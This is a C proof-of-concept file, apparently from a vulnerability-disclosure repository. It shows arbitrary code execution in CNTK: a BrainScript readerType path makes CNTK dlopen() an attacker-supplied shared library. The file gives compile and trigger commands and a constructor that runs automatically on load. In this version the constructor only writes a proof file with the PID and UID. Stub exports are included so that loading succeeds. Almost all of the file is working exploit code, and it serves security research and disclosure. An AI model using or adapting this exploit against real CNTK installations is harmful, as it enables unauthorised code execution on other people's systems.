poc-cntk-brainscript-rce / evil_reader.c
0xiviel's picture
Add evil_reader.c
140bf01 verified
/*
* PoC: CNTK BrainScript dlopen() Arbitrary Code Execution
* ========================================================
*
* This shared library is loaded by CNTK when a BrainScript config specifies:
* readerType = "/tmp/evil"
*
* CNTK appends "-VERSION.so" and calls dlopen(), which triggers the
* constructor function below.
*
* Vulnerability: DataReader.cpp:102 → File.cpp:1087
* Plugin::Load(readerType, ...) → dlopen(soName.c_str(), RTLD_LAZY)
*
* Compile:
* gcc -shared -fPIC -o /tmp/evil-2.7.so evil_reader.c
*
* Trigger:
* cntk configFile=poc_dlopen.bs
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/* Constructor runs automatically when dlopen() loads this library */
__attribute__((constructor))
void exploit_init(void) {
FILE *f = fopen("/tmp/cntk_rce_proof.txt", "w");
if (f) {
fprintf(f, "CNTK BrainScript dlopen RCE triggered!\n");
fprintf(f, "PID: %d\n", getpid());
fprintf(f, "UID: %d\n", getuid());
fclose(f);
}
}
/*
* Dummy exports required by CNTK.
* Plugin::LoadInternal() calls dlsym() for "GetReaderF" or "GetReaderD".
* These must exist to avoid RuntimeError, but the constructor already
* executed arbitrary code by this point.
*/
void GetReaderF(void** reader) { if (reader) *reader = NULL; }
void GetReaderD(void** reader) { if (reader) *reader = NULL; }